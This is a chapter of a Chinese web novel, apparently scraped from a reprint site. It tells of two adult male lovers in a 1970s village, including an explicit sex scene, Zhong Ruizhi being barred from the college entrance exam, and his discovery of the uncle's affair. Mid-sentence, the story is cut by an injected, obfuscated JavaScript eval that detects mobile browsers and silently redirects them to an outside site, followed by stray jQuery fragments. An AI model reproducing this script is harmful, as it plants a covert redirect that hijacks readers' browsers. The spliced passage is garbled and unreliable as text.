42.小叔还挺纯情

作品:《流年欲壑难填

    为什么留给他们的时间那么短,如果长点儿,或许能吵一架,再分开,就不会那么难受了。


    沧逸景站起走上前,他伸手去捻钟睿之的头发,钟睿之歪头躲开他的手。


    沧逸景道:“头发长了,我帮你剪短些。”


    钟睿之仍旧别过头不理他,他不是生沧逸景的气,他知道景哥没错,也知道他的心意和想法。


    他也不知道自己在气什么,就是难受就是生气。


    沧逸景去拿了理发的剪刀和剃刀,“别哭了,害我手抖,剪坏了就不好看了。”


    钟睿之刚来不久时曾去镇上剪过一次头,国营理发店的师傅不听他的要求,说话还难听,一刀子下去,给剪太短了。


    小少爷回来不高兴了三天,自那之后,都是沧逸景帮他剪的头发。


    起初拿着两面镜子,让钟睿之自己看着,他再慢慢下剪刀修,后来越来越熟练,每次都能剪出钟睿之想要的效果,便一直都是他来帮钟睿之剪头发了。


    钟睿之红着眼眶吸了吸鼻子,沧逸景找手绢给他擦眼泪。


    沧逸景将白布围在钟睿之身上,帮他剪头发。


    “这灯不太亮。”沧逸景道。


    钟睿之终是忍不住回话:“谁让你非得晚上剪。”


    “剪完…咱们再做。”他说。


    钟睿之道:“晚了,少爷我不想了。”


    沧逸景道:“这回咱们面对面,抱着。”


    上次做完,钟睿之抱怨说从后头像动物,他想面对面抱着来一回,总是回头才能亲到,累的很。


    他怕弄疼小少爷,从没换过姿势。


    面对面,浅啄的吻上,不同以往的热烈,沧逸景动作缓慢,钟睿之不说话,气氛安静的异常。


    直到钟睿之伸手要抱,他才赶忙俯身抱住。


    钟睿之缩在沧逸景怀里,双腿环在他的腰上,说话也带着娇纵,又有些委屈巴巴的:“我不想读大学,我不用读大学,我生出来就有花不完的钱。”


    沧逸景用手去拭钟睿之额上的细汗:“说什么傻话。你家里要知道你想跟着我,就不会给你钱了。”


    钟睿之说不出完整的话。


    头都是昏的。


    “我…不想离…离开你…景哥。”他死命搂着那肩膀,哭出了声:“为什么恢复高考了?明明…这么久都没有高考了…为什么这么快…就要高考…”


    沧逸景去捂钟睿之的眼睛:“别想那么多,好好考,你要是…考上了,读了书,认识别的姑娘,遇上喜欢的把我忘了就…”


    “忘不了!”钟睿之打断他,甚至主动的去迎合。


    那一刻沧逸景真的在想和钟睿之过一辈子。


    他想去和黄秀娟,和沧正才,甚至是沧麦丰说:睿之在咱家挺好的,我就是喜欢他,我种地搬砖,我去跑船打渔,我穿破烂儿,吃糠咽菜,都要给他吃好的穿好的,养着他护着他。


    可出口却是:“会…忘的。”


    钟睿之奋身反将他压倒,他跨坐上去,反咬着下唇,完全淹没时,口唇都苍白了。


    却一点没退缩,一点没犹豫。


    钟睿之放弃了温和,他需要足够强烈的冲击,才能确切的感受到,他正在拥有着沧逸景。


    他放纵的仰起脖颈,叫出声就不会哭,足够的快感能盖过痛苦。


    “睿之…太快了。”


    他说:“没关系,就这样。”


    沧逸景托着他,在钟睿之脱力后,逐渐夺回了主动权:“咱们俩认识前,你有什么想做的事吗?”


    钟睿之伏在沧逸景身上:“干嘛这么问?”


    沧逸景道:“你读书多,见识也比我多,我不是不能告诉我妈咱们的事,大不了被骂,被打,被人看不起说闲话,这些没什么好怕的。”


    他原本是怕这些的,可比起失去钟睿之,竟真的不觉得可怕了。


    “你之前不是还被吴志伟的事吓着,怕我去坐牢,对吗?”


    “我没让你跟别人说…”钟睿之话里又带上了哭腔,“我只是不想离开你,我…我就跟着你种田,咱们多过几年,多过几年是几年…”


    沧逸景道:“你听我说完,你景哥别的没有,力气还是有些的,你要真跟了我,哥还是像现在一样,一直对你好,不会让你饿着,不会让别人欺负你。”


    钟睿之离了那肩膀,与他对视。


    沧逸景扯出一抹苦笑:“可你自己呢,不是最讨厌别人说你像女人吗?女人都顶半边天,当娘子军了,你…真的要不学无术,只守着我吗?”


    钟睿之愣住了。


    他小的时候想当飞行员,后来想和舅舅一样当炮兵,但被妈妈和姥姥教英文,前两年妈妈还想带着他一起做翻译。


    至于钢琴,只是学着讨家里长辈开心,并没有真的想去当演奏家,现在也不是可以安心弹钢琴的环境。


    而那个成天幻想着经济蓬发的父亲,从小就把钟睿之抱在膝上,要叫他学经融。


    说这是子承父业,从他的父辈,从父辈的父辈开始,就是做钱庄,做银行的。


    他也该去干这个,做投行,做债券。


    可是现在,哪来的投行和债券呢,何况天生的钱里泡大的对钱没兴趣。


    “我…小时候想当飞行员来着。”钟睿之道,“现在…不知道…”


    “那就先去读书,边读边想吧。”沧逸景吻着他的颈窝,“如果真的忘不了,还是喜欢,就回来找我,到时候…景哥把天翻了,都要跟你光明正大的在一起。”


    钟睿之流着眼泪笑了出来:“怎么翻了天?”


    沧逸景道:“让所有人知道我就是喜欢你,男人和男人也能好,你就是我媳妇儿。咱们和别的夫妻一样,牵着手走,不用躲着人。”


    那时的钟睿之是不信这话的,他把这话当做是安慰和温存中的爱语。


    于是他们在这令人心情愉悦的话里,紧紧拥抱在一起。


    连汗都黏着,舍不得分开。


    三天后,钟睿之和所有广阳镇报名了高考的知青一起,去市里现场确认,提交报名表和确认个人资料。


    因为是和知青们结伴,加上沧逸景又有队里的事情要忙,就没有陪钟睿之一起。


    那确认表上要写父母的名字和家庭住址和工作单位。


    这表是要如实填写的,于是新疆劳改农场这六字一写上,钟睿之的资料当场就被打了回头。


    一行人看钟睿之的目光都带着同情,钟睿之却觉得心情突


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518708|170052||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然畅快了。


    多日以来压在心里的大石落地,他没有等众人一同回镇上,而是自己先行搭公交回了镇上,又恰好搭上了同乡的骡车回了泉庄。


    天已经冷下来了,可钟睿之却觉得风都是轻的,他坐在骡车上甚至笑出了声。


    老乡疑惑的问他:“笑什么?”


    钟睿之道:“高考没报上名。”


    “没报上不是要哭吗?咋还笑呢?”


    钟睿之摆摆手:“你不懂就算了。”


    他几乎是小跑回的家,先去了他和沧逸景的屋,没人。


    于是又跑去灶屋看景哥有没有回家。


    那大毛毡帘子掀开,却看见沧麦丰回来了。


    钟睿之被眼前的画面惊到愣在原地,大约三秒的停顿后,他立马盖下帘子往外跑。


    沧麦丰随即冲出去拽住了他。


    钟睿之看了看四周确定没人,才小声的说:“小叔,嘘嘘嘘!你…松手,我不会告诉别人的!”


    沧麦丰把钟睿之拽进了自己屋里,关上了门。


    钟睿之尴尬到直往后退。


    “你…”沧麦丰。


    钟睿之连忙摆手:“什么都没看到,我已经忘记了,忘光光了。”


    可他说完,突然觉得挺好笑,不由自主的笑了出来。


    沧麦丰对钟睿之的笑不明所以,瞪他:“你不是去市里了吗?”


    钟睿之挠了挠头:“不让报名,我就先回家了。”


    “怎么会不让你报名呢?”沧麦丰问。


    钟睿之答:“我爸在劳改。”


    沧麦丰道:“等着吧,最多两年,就没这些左左右右的事了。”


    钟睿之仍旧是笑的。


    沧麦丰道:“你没报上名这么高兴?”


    “我看你回来…”他指刚刚的事,“也高兴。”


    沧麦丰没忍住也一笑,拍了一下他的脑袋:“别瞎想…也是”他摸了摸鼻梁,“最近才真…好上。”


    钟睿之笑出了声:“你那什么,受伤啊,是假的啊。”


    沧麦丰:“不这么说,我爹早给我张罗婚事了。”


    他掀开帘子,看见小叔和阿姨抱在一起。


    黄秀娟甚至惊叫了一声,赶忙把沧麦丰推开。


    钟睿之好奇:“那老早就惦记上了?”


    沧麦丰道:“那也是我哥走了之后的事儿…嫂子进门时我还小,我17岁就去部队了,中途没回几趟家。大哥出事之后,我回来办后事,又过了一年才退伍回的家,是任务受了伤。”他指了指脸上的疤:“脸和腿,被传邪乎了…后来…她人心善又可怜…我也就没特地去解释。”


    他看着一直在笑的钟睿之:“别这么笑。”


    “我觉得你俩挺合适的。”钟睿之道,“又知道你是好的,能生孩子,我高兴。”


    沧麦丰道:“我们毕竟是叔嫂,她虽然一直是知道我心意,却一直是不愿意的。今天是…太久没见面,我…主动去抱的她,你别多想,我们…没有……”


    “哦哦,好好好。”钟睿之想着小叔还挺纯情,更是笑得合不拢嘴。


    沧麦丰看着止不住发笑的钟睿之,摇摇头,叹气道:“我们都知道,逸景肯定不会同意。”